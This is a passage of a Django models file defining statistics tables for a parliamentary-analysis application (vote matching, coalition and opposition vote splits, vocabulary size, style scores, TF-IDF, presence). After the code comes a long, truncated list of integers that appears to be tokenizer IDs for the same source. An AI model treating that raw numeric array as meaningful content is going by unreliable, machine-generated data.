votes4 = models.FloatField(_('MatchingThem4'),
blank=True, null=True,
help_text=_('MatchingThem'))
person5 = models.ForeignKey('parlaposlanci.Person',
blank=True, null=True,
related_name='childrenMMT5',
help_text=_('MP5'))
votes5 = models.FloatField(_('MatchingThem5'),
blank=True, null=True,
help_text=_('MatchingThem'))
class LessMatchingThem(Timestampable, models.Model):
organization = models.ForeignKey('Organization',
blank=True, null=True,
related_name='childrenLMT',
help_text=_('PG'))
created_for = models.DateField(_('date of analize'),
blank=True,
null=True,
help_text=_('date of activity'))
person1 = models.ForeignKey('parlaposlanci.Person',
blank=True, null=True,
related_name='childrenLMT1',
help_text=_('MP1'))
votes1 = models.FloatField(_('MatchingThem1'),
blank=True, null=True,
help_text=_('MatchingThem'))
person2 = models.ForeignKey('parlaposlanci.Person',
blank=True, null=True,
related_name='childrenLMT2',
help_text=_('MP2'))
votes2 = models.FloatField(_('MatchingThem2'),
blank=True, null=True,
help_text=_('MatchingThem'))
person3 = models.ForeignKey('parlaposlanci.Person',
blank=True, null=True,
related_name='childrenLMT3',
help_text=_('MP3'))
votes3 = models.FloatField(_('MatchingThem3'),
blank=True, null=True,
help_text=_('MatchingThem'))
person4 = models.ForeignKey('parlaposlanci.Person',
blank=True, null=True,
related_name='childrenLMT4',
help_text=_('MP4'))
votes4 = models.FloatField(_('MatchingThem4'),
blank=True, null=True,
help_text=_('MatchingThem'))
person5 = models.ForeignKey('parlaposlanci.Person',
blank=True, null=True,
related_name='childrenLMT5',
help_text=_('MP5'))
votes5 = models.FloatField(_('MatchingThem5'),
blank=True, null=True,
help_text=_('MatchingThem'))
class DeviationInOrganization(Timestampable, models.Model):
organization = models.ForeignKey('Organization',
blank=True, null=True,
related_name='childrenD',
help_text=_('PG'))
data = JSONField(blank=True, null=True)
created_for = models.DateField(_('date of analize'),
blank=True,
null=True,
help_text=_('date of activity'))
class CutVotes(Timestampable, models.Model):
created_for = models.DateField(_('date of activity'),
blank=True,
null=True,
help_text=_('date of analize'))
organization = models.ForeignKey("Organization")
this_for = models.FloatField(default=0.0)
this_against = models.FloatField(default=0.0)
this_abstain = models.FloatField(default=0.0)
this_absent = models.FloatField(default=0.0)
coalition_for = models.FloatField(default=0.0)
coalition_against = models.FloatField(default=0.0)
coalition_abstain = models.FloatField(default=0.0)
coalition_absent = models.FloatField(default=0.0)
coalition_for_max = models.FloatField(default=0.0)
coalition_against_max = models.FloatField(default=0.0)
coalition_abstain_max = models.FloatField(default=0.0)
coalition_absent_max = models.FloatField(default=0.0)
coalition_for_max_org = models.CharField(max_length=500)
coalition_against_max_org = models.CharField(max_length=500)
coalition_abstain_max_org = models.CharField(max_length=500)
coalition_absent_max_org = models.CharField(max_length=500)
opposition_for = models.FloatField(default=0.0)
opposition_against = models.FloatField(default=0.0)
opposition_abstain = models.FloatField(default=0.0)
opposition_absent = models.FloatField(default=0.0)
opposition_for_max =models.FloatField(default=0.0)
opposition_against_max = models.FloatField(default=0.0)
opposition_abstain_max = models.FloatField(default=0.0)
opposition_absent_max = models.FloatField(default=0.0)
opposition_for_max_org = models.CharField(max_length=500)
opposition_against_max_org = models.CharField(max_length=500)
opposition_abstain_max_org = models.CharField(max_length=500)
opposition_absent_max_org = models.CharField(max_length=500)
class WorkingBodies(Timestampable, models.Model):
created_for = models.DateField(_('date of activity'),
blank=True,
null=True,
help_text=_('date of analize'))
organization = models.ForeignKey("Organization")
president = models.ForeignKey('parlaposlanci.Person',
blank=True, null=True,
help_text=_('President'))
vice_president = JSONField()
members = JSONField()
viceMember = JSONField()
coal_ratio = models.FloatField()
oppo_ratio = models.FloatField()
seats = JSONField()
sessions = JSONField()
class VocabularySize(Timestampable, models.Model): #Card for Vacabularty size of Org
organization = models.ForeignKey('Organization',
blank=True, null=True,
related_name='vocabularySizes',
help_text=_('Org'))
created_for = models.DateField(_('date of activity'),
blank=True,
null=True,
help_text=_('date of analize'))
score = models.FloatField(_('Vacabularty size of this Org'),
blank=True, null=True,
help_text=_('Vacabularty size of this Org'))
maxOrg = models.ForeignKey('Organization',
blank=True, null=True,
related_name='childrenVacSiz',
help_text=_('Organization which has max vacabularty size'))
average = models.FloatField(_('average'),
blank=True, null=True,
help_text=_('Vacabularty size of Org'))
maximum = models.FloatField(_('max'),
blank=True, null=True,
help_text=_('Max of Org vacabularty size '))
class StyleScores(Timestampable, models.Model): #Card for Style Scores of MP
organization = models.ForeignKey('Organization',
blank=True, null=True,
related_name='styleScores',
help_text=_('Org'))
created_for = models.DateField(_('date of activity'),
blank=True,
null=True,
help_text=_('date of analize'))
problematicno = models.FloatField(_('Problematicno style score of this PG'),
blank=True, null=True,
help_text=_('Problematicno score of this PG'))
privzdignjeno = models.FloatField(_('Privzdignjeno style score of this PG'),
blank=True, null=True,
help_text=_('Privzdignjeno style score of this PG'))
preprosto = models.FloatField(_('Preprosto style score of this PG'),
blank=True, null=True,
help_text=_('Preprosto style score of this PG'))
problematicno_average = models.FloatField(_('Problematicno average style score'),
blank=True, null=True,
help_text=_('Problematicno average style score'))
privzdignjeno_average = models.FloatField(_('Privzdignjeno average style score'),
blank=True, null=True,
help_text=_('Privzdignjeno average style score'))
preprosto_average = models.FloatField(_('Preprosto average style score'),
blank=True, null=True,
help_text=_('Preprosto average style score'))
class Tfidf(Timestampable, models.Model):
organization = models.ForeignKey('Organization',
blank=True, null=True,
related_name='tfidf',
help_text=_('Org'))
created_for = models.DateField(_('date of activity'),
blank=True,
null=True,
help_text=_('date of analize'))
is_visible = models.BooleanField(_('is visible'),
default=True)
data = JSONField(blank=True, null=True)
def __str__(self):
return unicode(self.organization.name) + " --> " + unicode(self.created_for)
class NumberOfQuestions(Timestampable, models.Model):
organization = models.ForeignKey('Organization',
blank=True, null=True,
related_name='numOfQuestions',
help_text=_('Org'))
created_for = models.DateField(_('date of activity'),
blank=True,
null=True,
help_text=_('date of analize'))
score = models.FloatField(blank=True,
null=True,
help_text=_('MP score'))
average = models.FloatField(blank=True,
null=True,
help_text=_('Average score'))
maximum = models.FloatField(blank=True,
null=True,
help_text=_('Maximum score'))
maxOrgs = JSONField(blank=True, null=True)
class PresenceThroughTime(Timestampable, models.Model):
organization = models.ForeignKey('Organization',
blank=True, null=True,
related_name='presenceThroughTime',
help_text=_('Org'))
created_for = models.DateField(_('date of activity'),
blank=True,
null=True,
help_text=_('date of analize'))
data = JSONField(blank=True, null=True)
class IntraDisunion(Timestampable, models.Model):
organization = models.ForeignKey('Organization',
blank=True, null=True,
related_name='intraDisunion',
help_text=_('Org'))
vote = models.ForeignKey('parlaseje.Vote',
blank=True, null=True,
related_name='vote_intradisunion',
help_text=_('Vote'))
maximum = models.CharField(_('Maximum'),
blank = True,
null = True,
max_length = 128,
help_text=_('Maximum of organization disunion.')) | [
1,
396,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
3166,
9557,
29889,
2585,
1053,
4733,
13,
3166,
9557,
29889,
13239,
29889,
22331,
1053,
3017,
29918,
29906,
29918,
2523,
356,
29918,
23712,
13,
3166,
9557,
29889,
13239,
29889,
3286,
18411,
1053,
318,
657,
726,
29918,
433,
1537,
408,
903,
13,
3166,
610,
433,
1066,
6468,
455,
29889,
9794,
1053,
334,
13,
3166,
24590,
559,
1324,
29889,
9794,
1053,
334,
13,
3166,
4390,
2671,
1053,
4663,
3073,
13,
3166,
4010,
18930,
29889,
9794,
1053,
7870,
7416,
519,
13,
13,
29937,
17415,
12865,
304,
1835,
3543,
13,
1990,
6977,
3543,
11384,
3073,
29898,
9794,
29889,
11384,
3073,
1125,
13,
13,
1678,
822,
679,
29918,
7323,
3543,
29918,
1767,
29898,
1311,
29892,
995,
1125,
13,
4706,
736,
851,
29898,
12673,
29889,
710,
615,
603,
29898,
1767,
29892,
14210,
29979,
19222,
29885,
19222,
29881,
8785,
13,
13,
29937,
6204,
596,
4733,
1244,
29889,
13,
29992,
4691,
29918,
29906,
29918,
2523,
356,
29918,
23712,
13,
1990,
9205,
2133,
29898,
27939,
519,
29892,
4733,
29889,
3195,
1125,
13,
1678,
9995,
13,
1678,
319,
2318,
411,
263,
3619,
6437,
470,
2769,
363,
10379,
393,
5771,
8724,
278,
731,
310,
2305,
23329,
304,
372,
13,
1678,
9995,
13,
13,
1678,
1024,
353,
4733,
29889,
15778,
7373,
877,
978,
5477,
13,
462,
9651,
1371,
29918,
726,
29922,
29918,
877,
29909,
7601,
1024,
29892,
321,
29889,
29887,
29889,
263,
2814,
635,
14831,
1024,
8785,
13,
13,
1678,
1178,
29918,
862,
4528,
532,
353,
4733,
29889,
7798,
3073,
7373,
877,
862,
4528,
532,
1178,
5477,
13,
462,
462,
539,
9654,
29922,
5574,
29892,
13,
462,
462,
539,
1870,
29922,
5574,
29892,
13,
462,
462,
539,
1371,
29918,
726,
29922,
29918,
877,
333,
610,
4528,
532,
8785,
13,
13,
1678,
12965,
353,
4733,
29889,
15778,
7373,
877,
2385,
2450,
5477,
13,
462,
462,
418,
9654,
29922,
5574,
29892,
13,
462,
462,
418,
1870,
29922,
5574,
29892,
13,
462,
462,
418,
1371,
29918,
726,
29922,
29918,
877,
27356,
2133,
1208,
893,
2450,
6169,
876,
13,
13,
1678,
1274,
1617,
962,
353,
4733,
29889,
27890,
7373,
877,
562,
1617,
962,
5477,
13,
462,
1669,
9654,
353,
5852,
29892,
13,
462,
1669,
1870,
353,
5852,
29892,
13,
462,
1669,
4236,
29918,
2848,
353,
29871,
29896,
29906,
29947,
29892,
13,
462,
1669,
1371,
29918,
726,
29922,
29918,
877,
27356,
2133,
1274,
1617,
962,
8785,
13,
13,
1678,
338,
29918,
1111,
284,
654,
353,
4733,
29889,
18146,
3073,
7373,
877,
1111,
284,
654,
5477,
13,
462,
462,
418,
2322,
29922,
8824,
29897,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
736,
29104,
29898,
1311,
29889,
978,
29897,
718,
376,
376,
718,
851,
29898,
1311,
29889,
333,
29918,
862,
4528,
532,
29897,
13,
13,
1678,
822,
679,
27356,
2133,
1469,
29898,
1311,
1125,
13,
4706,
736,
426,
13,
462,
29871,
525,
333,
2396,
1583,
29889,
333,
29918,
862,
4528,
532,
29892,
13,
462,
29871,
525,
978,
2396,
1583,
29889,
978,
29892,
13,
462,
29871,
525,
562,
1617,
962,
2396,
1583,
29889,
562,
1617,
962,
29892,
13,
462,
29871,
525,
275,
29918,
1111,
284,
654,
2396,
1583,
29889,
275,
29918,
1111,
284,
654,
29892,
13,
1669,
500,
13,
13,
13,
1990,
349,
29954,
17046,
29898,
27939,
519,
29892,
4733,
29889,
3195,
1125,
13,
1678,
13013,
353,
4733,
29889,
27755,
2558,
877,
27356,
2133,
742,
29871,
13,
462,
462,
268,
1371,
29918,
726,
29922,
29918,
877,
27356,
2133,
9117,
1820,
9443,
8785,
13,
13,
1678,
2825,
29918,
1454,
353,
4733,
29889,
2539,
3073,
7373,
877,
1256,
310,
6354,
5477,
13,
462,
462,
259,
9654,
29922,
5574,
29892,
13,
462,
462,
259,
1870,
29922,
5574,
29892,
13,
462,
462,
259,
1371,
29918,
726,
29922,
29918,
877,
1256,
310,
3483,
675,
8785,
13,
13,
1678,
2343,
2776,
16903,
353,
4733,
29889,
27755,
2558,
877,
862,
433,
1066,
6468,
455,
29889,
7435,
742,
13,
462,
462,
1870,
353,
5852,
29892,
13,
462,
462,
4475,
29918,
978,
2433,
16903,
17046,
29950,
742,
1371,
29918,
726,
29922,
29918,
877,
5494,
310,
16379,
8785,
13,
13,
1678,
11289,
2776,
16903,
353,
4663,
3073,
29898,
19465,
29922,
5574,
29892,
1870,
29922,
5574,
29897,
13,
13,
1678,
1353,
2776,
2008,
1446,
353,
4733,
29889,
7798,
3073,
29898,
19465,
353,
5852,
29892,
29871,
13,
462,
462,
4706,
1870,
353,
5852,
29892,
29871,
13,
462,
462,
4706,
1371,
29918,
726,
353,
903,
877,
4557,
310,
22091,
297,
23554,
310,
349,
29954,
8785,
13,
13,
1678,
599,
29963,
327,
414,
353,
4733,
29889,
7798,
3073,
29898,
19465,
29922,
5574,
29892,
29871,
13,
462,
462,
1678,
1870,
29922,
5574,
29892,
29871,
13,
462,
462,
1678,
1371,
29918,
726,
29922,
29918,
877,
4557,
310,
9014,
414,
8785,
13,
13,
1678,
18335,
353,
4733,
29889,
15778,
29898,
19465,
29922,
5574,
29892,
29871,
13,
462,
18884,
1870,
29922,
5574,
29892,
29871,
13,
462,
18884,
2322,
29922,
8516,
29892,
29871,
13,
462,
18884,
1371,
29918,
726,
29922,
29918,
877,
23360,
2909,
8722,
3988,
8785,
13,
13,
1678,
23394,
353,
4733,
29889,
15778,
29898,
19465,
29922,
5574,
29892,
29871,
13,
462,
1669,
1870,
29922,
5574,
29892,
29871,
13,
462,
1669,
2322,
29922,
8516,
29892,
29871,
13,
462,
1669,
1371,
29918,
726,
29922,
29918,
877,
27418,
5171,
8722,
3988,
8785,
13,
13,
1678,
4876,
353,
4733,
29889,
15778,
29898,
19465,
29922,
5574,
29892,
29871,
13,
462,
632,
1870,
29922,
5574,
29892,
29871,
13,
462,
632,
2322,
29922,
8516,
29892,
29871,
13,
462,
632,
1371,
29918,
726,
29922,
29918,
877,
5269,
8722,
3988,
8785,
13,
13,
1990,
2431,
1760,
9800,
4165,
2760,
7317,
29898,
27939,
519,
29892,
4733,
29889,
3195,
1125,
396,
3195,
363,
10122,
310,
349,
29954,
373,
21396,
13,
13,
1678,
13013,
353,
4733,
29889,
27755,
2558,
877,
27356,
2133,
742,
13,
462,
1669,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
1669,
4475,
29918,
978,
2433,
11991,
16903,
742,
13,
462,
1669,
1371,
29918,
726,
29922,
29918,
877,
16903,
8785,
13,
13,
1678,
2825,
29918,
1454,
353,
4733,
29889,
2539,
3073,
7373,
877,
1256,
310,
6354,
5477,
13,
462,
462,
259,
9654,
29922,
5574,
29892,
13,
462,
462,
259,
1870,
29922,
5574,
29892,
13,
462,
462,
259,
1371,
29918,
726,
29922,
29918,
877,
1256,
310,
3483,
675,
8785,
13,
13,
1678,
13013,
29918,
1767,
29918,
29879,
10964,
353,
4733,
29889,
11031,
3073,
7373,
877,
13504,
663,
310,
445,
349,
29954,
5477,
13,
462,
462,
259,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
462,
259,
1371,
29918,
726,
29922,
29918,
877,
13504,
663,
310,
445,
349,
29954,
8785,
13,
13,
13,
1678,
4236,
16903,
29918,
29879,
10964,
353,
4663,
3073,
29898,
19465,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
1669,
1371,
29918,
726,
29922,
29918,
877,
16903,
1058,
756,
4236,
544,
29888,
267,
663,
310,
21396,
8785,
13,
13,
13,
1678,
6588,
29918,
29879,
10964,
353,
4733,
29889,
11031,
3073,
7373,
877,
12483,
482,
5477,
13,
462,
462,
259,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
462,
259,
1371,
29918,
726,
29922,
29918,
877,
29909,
19698,
310,
349,
29954,
14283,
21396,
8785,
13,
13,
1678,
7472,
29918,
29879,
10964,
353,
4733,
29889,
11031,
3073,
7373,
877,
3317,
5477,
13,
462,
462,
259,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
462,
259,
1371,
29918,
726,
29922,
29918,
877,
7976,
310,
349,
29954,
14283,
21396,
8785,
13,
13,
1678,
13013,
29918,
1767,
29918,
29894,
4769,
353,
4733,
29889,
11031,
3073,
7373,
877,
13504,
663,
310,
445,
349,
29954,
5477,
13,
462,
462,
259,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
462,
259,
1371,
29918,
726,
29922,
29918,
877,
13504,
663,
310,
445,
349,
29954,
8785,
13,
13,
13,
1678,
4236,
16903,
29918,
29894,
4769,
353,
4663,
3073,
29898,
19465,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
9651,
1371,
29918,
726,
29922,
29918,
877,
16903,
1058,
756,
4236,
544,
29888,
267,
663,
310,
21396,
8785,
13,
13,
13,
1678,
6588,
29918,
29894,
4769,
353,
4733,
29889,
11031,
3073,
7373,
877,
12483,
482,
5477,
13,
462,
462,
259,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
462,
259,
1371,
29918,
726,
29922,
29918,
877,
29909,
19698,
310,
349,
29954,
14283,
21396,
8785,
13,
13,
1678,
7472,
29918,
29894,
4769,
353,
4733,
29889,
11031,
3073,
7373,
877,
3317,
5477,
13,
462,
462,
259,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
462,
259,
1371,
29918,
726,
29922,
29918,
877,
7976,
310,
349,
29954,
14283,
21396,
8785,
13,
13,
13,
1990,
16379,
2776,
29925,
29887,
29898,
27939,
519,
29892,
4733,
29889,
3195,
1125,
13,
13,
1678,
13013,
353,
4733,
29889,
27755,
2558,
877,
27356,
2133,
742,
13,
462,
965,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
965,
4475,
29918,
978,
2433,
3580,
2776,
29925,
29887,
29918,
742,
13,
462,
965,
1371,
29918,
726,
29922,
29918,
877,
16903,
8785,
13,
13,
1678,
1178,
29918,
862,
4528,
532,
353,
4733,
29889,
7798,
3073,
7373,
877,
862,
4528,
532,
1178,
5477,
13,
462,
9651,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
8477,
29918,
726,
29922,
29918,
877,
333,
610,
4528,
532,
8785,
13,
13,
1678,
16379,
29879,
353,
4663,
3073,
29898,
19465,
29922,
5574,
29892,
1870,
29922,
5574,
29897,
13,
13,
1678,
2825,
29918,
1454,
353,
4733,
29889,
2539,
3073,
7373,
877,
1256,
310,
6354,
5477,
13,
462,
462,
259,
9654,
29922,
5574,
29892,
13,
462,
462,
259,
1870,
29922,
5574,
29892,
13,
462,
462,
259,
1371,
29918,
726,
29922,
29918,
877,
1256,
310,
3483,
675,
8785,
13,
13,
13,
1990,
7849,
9652,
292,
1349,
331,
29898,
27939,
519,
29892,
4733,
29889,
3195,
1125,
13,
13,
1678,
13013,
353,
4733,
29889,
27755,
2558,
877,
27356,
2133,
742,
13,
462,
965,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
965,
4475,
29918,
978,
2433,
11991,
7428,
29911,
742,
13,
462,
965,
1371,
29918,
726,
29922,
29918,
877,
16903,
8785,
13,
13,
1678,
2825,
29918,
1454,
353,
4733,
29889,
2539,
3073,
7373,
877,
1256,
310,
3483,
675,
5477,
13,
462,
462,
259,
9654,
29922,
5574,
29892,
13,
462,
462,
259,
1870,
29922,
5574,
29892,
13,
462,
462,
259,
1371,
29918,
726,
29922,
29918,
877,
1256,
310,
3483,
675,
8785,
13,
13,
1678,
2022,
29896,
353,
4733,
29889,
27755,
2558,
877,
862,
433,
1066,
6468,
455,
29889,
7435,
742,
13,
462,
18884,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
18884,
4475,
29918,
978,
2433,
11991,
7428,
29911,
29896,
742,
13,
462,
18884,
1371,
29918,
726,
29922,
29918,
877,
3580,
29896,
8785,
13,
13,
1678,
18952,
29896,
353,
4733,
29889,
11031,
3073,
7373,
877,
9652,
292,
1349,
331,
29896,
5477,
13,
462,
1669,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
1669,
1371,
29918,
726,
29922,
29918,
877,
9652,
292,
1349,
331,
8785,
13,
13,
1678,
2022,
29906,
353,
4733,
29889,
27755,
2558,
877,
862,
433,
1066,
6468,
455,
29889,
7435,
742,
13,
462,
18884,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
18884,
4475,
29918,
978,
2433,
11991,
7428,
29911,
29906,
742,
13,
462,
18884,
1371,
29918,
726,
29922,
29918,
877,
3580,
29906,
8785,
13,
13,
1678,
18952,
29906,
353,
4733,
29889,
11031,
3073,
7373,
877,
9652,
292,
1349,
331,
29906,
5477,
13,
462,
1669,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
1669,
1371,
29918,
726,
29922,
29918,
877,
9652,
292,
1349,
331,
8785,
13,
13,
1678,
2022,
29941,
353,
4733,
29889,
27755,
2558,
877,
862,
433,
1066,
6468,
455,
29889,
7435,
742,
13,
462,
18884,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
18884,
4475,
29918,
978,
2433,
11991,
7428,
29911,
29941,
742,
13,
462,
18884,
1371,
29918,
726,
29922,
29918,
877,
3580,
29941,
8785,
13,
13,
1678,
18952,
29941,
353,
4733,
29889,
11031,
3073,
7373,
877,
9652,
292,
1349,
331,
29941,
5477,
13,
462,
1669,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
1669,
1371,
29918,
726,
29922,
29918,
877,
9652,
292,
1349,
331,
8785,
13,
13,
1678,
2022,
29946,
353,
4733,
29889,
27755,
2558,
877,
862,
433,
1066,
6468,
455,
29889,
7435,
742,
13,
462,
18884,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
18884,
4475,
29918,
978,
2433,
11991,
7428,
29911,
29946,
742,
13,
462,
18884,
1371,
29918,
726,
29922,
29918,
877,
3580,
29946,
8785,
13,
13,
1678,
18952,
29946,
353,
4733,
29889,
11031,
3073,
7373,
877,
9652,
292,
1349,
331,
29946,
5477,
13,
462,
1669,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
1669,
1371,
29918,
726,
29922,
29918,
877,
9652,
292,
1349,
331,
8785,
13,
13,
1678,
2022,
29945,
353,
4733,
29889,
27755,
2558,
877,
862,
433,
1066,
6468,
455,
29889,
7435,
742,
13,
462,
18884,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
18884,
4475,
29918,
978,
2433,
11991,
7428,
29911,
29945,
742,
13,
462,
18884,
1371,
29918,
726,
29922,
29918,
877,
3580,
29945,
8785,
13,
13,
1678,
18952,
29945,
353,
4733,
29889,
11031,
3073,
7373,
877,
9652,
292,
1349,
331,
29945,
5477,
13,
462,
1669,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
1669,
1371,
29918,
726,
29922,
29918,
877,
9652,
292,
1349,
331,
8785,
13,
13,
13,
1990,
27898,
9652,
292,
1349,
331,
29898,
27939,
519,
29892,
4733,
29889,
3195,
1125,
13,
13,
1678,
13013,
353,
4733,
29889,
27755,
2558,
877,
27356,
2133,
742,
13,
462,
462,
268,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
462,
268,
4475,
29918,
978,
2433,
11991,
29931,
11490,
742,
13,
462,
462,
268,
1371,
29918,
726,
29922,
29918,
877,
16903,
8785,
13,
13,
1678,
2825,
29918,
1454,
353,
4733,
29889,
2539,
3073,
7373,
877,
1256,
310,
3483,
675,
5477,
13,
462,
462,
259,
9654,
29922,
5574,
29892,
13,
462,
462,
259,
1870,
29922,
5574,
29892,
13,
462,
462,
259,
1371,
29918,
726,
29922,
29918,
877,
1256,
310,
6354,
8785,
13,
13,
1678,
2022,
29896,
353,
4733,
29889,
27755,
2558,
877,
862,
433,
1066,
6468,
455,
29889,
7435,
742,
13,
462,
18884,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
18884,
4475,
29918,
978,
2433,
11991,
29931,
11490,
29896,
742,
13,
462,
18884,
1371,
29918,
726,
29922,
29918,
877,
3580,
29896,
8785,
13,
13,
1678,
18952,
29896,
353,
4733,
29889,
11031,
3073,
7373,
877,
9652,
292,
1349,
331,
29896,
5477,
13,
462,
1669,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
1669,
1371,
29918,
726,
29922,
29918,
877,
9652,
292,
1349,
331,
8785,
13,
13,
1678,
2022,
29906,
353,
4733,
29889,
27755,
2558,
877,
862,
433,
1066,
6468,
455,
29889,
7435,
742,
13,
462,
18884,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
18884,
4475,
29918,
978,
2433,
11991,
29931,
11490,
29906,
742,
13,
462,
18884,
1371,
29918,
726,
29922,
29918,
877,
3580,
29906,
8785,
13,
13,
1678,
18952,
29906,
353,
4733,
29889,
11031,
3073,
7373,
877,
9652,
292,
1349,
331,
29906,
5477,
13,
462,
1669,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
1669,
1371,
29918,
726,
29922,
29918,
877,
9652,
292,
1349,
331,
8785,
13,
13,
1678,
2022,
29941,
353,
4733,
29889,
27755,
2558,
877,
862,
433,
1066,
6468,
455,
29889,
7435,
742,
13,
462,
18884,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
18884,
4475,
29918,
978,
2433,
11991,
29931,
11490,
29941,
742,
13,
462,
18884,
1371,
29918,
726,
29922,
29918,
877,
3580,
29941,
8785,
13,
13,
1678,
18952,
29941,
353,
4733,
29889,
11031,
3073,
7373,
877,
9652,
292,
1349,
331,
29941,
5477,
13,
462,
1669,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
1669,
1371,
29918,
726,
29922,
29918,
877,
9652,
292,
1349,
331,
8785,
13,
13,
1678,
2022,
29946,
353,
4733,
29889,
27755,
2558,
877,
862,
433,
1066,
6468,
455,
29889,
7435,
742,
13,
462,
18884,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
18884,
4475,
29918,
978,
2433,
11991,
29931,
11490,
29946,
742,
13,
462,
18884,
1371,
29918,
726,
29922,
29918,
877,
3580,
29946,
8785,
13,
13,
1678,
18952,
29946,
353,
4733,
29889,
11031,
3073,
7373,
877,
9652,
292,
1349,
331,
29946,
5477,
13,
462,
1669,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
1669,
1371,
29918,
726,
29922,
29918,
877,
9652,
292,
1349,
331,
8785,
13,
13,
1678,
2022,
29945,
353,
4733,
29889,
27755,
2558,
877,
862,
433,
1066,
6468,
455,
29889,
7435,
742,
13,
462,
18884,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
18884,
4475,
29918,
978,
2433,
11991,
29931,
11490,
29945,
742,
13,
462,
18884,
1371,
29918,
726,
29922,
29918,
877,
3580,
29945,
8785,
13,
13,
1678,
18952,
29945,
353,
4733,
29889,
11031,
3073,
7373,
877,
9652,
292,
1349,
331,
29945,
5477,
13,
462,
1669,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
1669,
1371,
29918,
726,
29922,
29918,
877,
9652,
292,
1349,
331,
8785,
13,
13,
13,
1990,
897,
14641,
797,
27356,
2133,
29898,
27939,
519,
29892,
4733,
29889,
3195,
1125,
13,
13,
1678,
13013,
353,
4733,
29889,
27755,
2558,
877,
27356,
2133,
742,
13,
462,
462,
268,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
462,
268,
4475,
29918,
978,
2433,
11991,
29928,
742,
13,
462,
462,
268,
1371,
29918,
726,
29922,
29918,
877,
16903,
8785,
13,
13,
1678,
848,
353,
4663,
3073,
29898,
19465,
29922,
5574,
29892,
1870,
29922,
5574,
29897,
13,
13,
1678,
2825,
29918,
1454,
353,
4733,
29889,
2539,
3073,
7373,
877,
1256,
310,
3483,
675,
5477,
13,
462,
462,
259,
9654,
29922,
5574,
29892,
13,
462,
462,
259,
1870,
29922,
5574,
29892,
13,
462,
462,
259,
1371,
29918,
726,
29922,
29918,
877,
1256,
310,
6354,
8785,
13,
13,
13,
1990,
315,
329,
29963,
4769,
29898,
27939,
519,
29892,
4733,
29889,
3195,
1125,
13,
1678,
2825,
29918,
1454,
353,
4733,
29889,
2539,
3073,
7373,
877,
1256,
310,
6354,
5477,
13,
462,
462,
259,
9654,
29922,
5574,
29892,
13,
462,
462,
259,
1870,
29922,
5574,
29892,
13,
462,
462,
259,
1371,
29918,
726,
29922,
29918,
877,
1256,
310,
3483,
675,
8785,
13,
1678,
13013,
353,
4733,
29889,
27755,
2558,
703,
27356,
2133,
1159,
13,
1678,
445,
29918,
1454,
353,
4733,
29889,
11031,
3073,
29898,
4381,
29922,
29900,
29889,
29900,
29897,
13,
1678,
445,
29918,
351,
475,
303,
353,
4733,
29889,
11031,
3073,
29898,
4381,
29922,
29900,
29889,
29900,
29897,
13,
1678,
445,
29918,
370,
303,
475,
353,
4733,
29889,
11031,
3073,
29898,
4381,
29922,
29900,
29889,
29900,
29897,
13,
1678,
445,
29918,
6897,
296,
353,
4733,
29889,
11031,
3073,
29898,
4381,
29922,
29900,
29889,
29900,
29897,
13,
1678,
17148,
654,
29918,
1454,
353,
4733,
29889,
11031,
3073,
29898,
4381,
29922,
29900,
29889,
29900,
29897,
13,
1678,
17148,
654,
29918,
351,
475,
303,
353,
4733,
29889,
11031,
3073,
29898,
4381,
29922,
29900,
29889,
29900,
29897,
13,
1678,
17148,
654,
29918,
370,
303,
475,
353,
4733,
29889,
11031,
3073,
29898,
4381,
29922,
29900,
29889,
29900,
29897,
13,
1678,
17148,
654,
29918,
6897,
296,
353,
4733,
29889,
11031,
3073,
29898,
4381,
29922,
29900,
29889,
29900,
29897,
13,
1678,
17148,
654,
29918,
1454,
29918,
3317,
353,
4733,
29889,
11031,
3073,
29898,
4381,
29922,
29900,
29889,
29900,
29897,
13,
1678,
17148,
654,
29918,
351,
475,
303,
29918,
3317,
353,
4733,
29889,
11031,
3073,
29898,
4381,
29922,
29900,
29889,
29900,
29897,
13,
1678,
17148,
654,
29918,
370,
303,
475,
29918,
3317,
353,
4733,
29889,
11031,
3073,
29898,
4381,
29922,
29900,
29889,
29900,
29897,
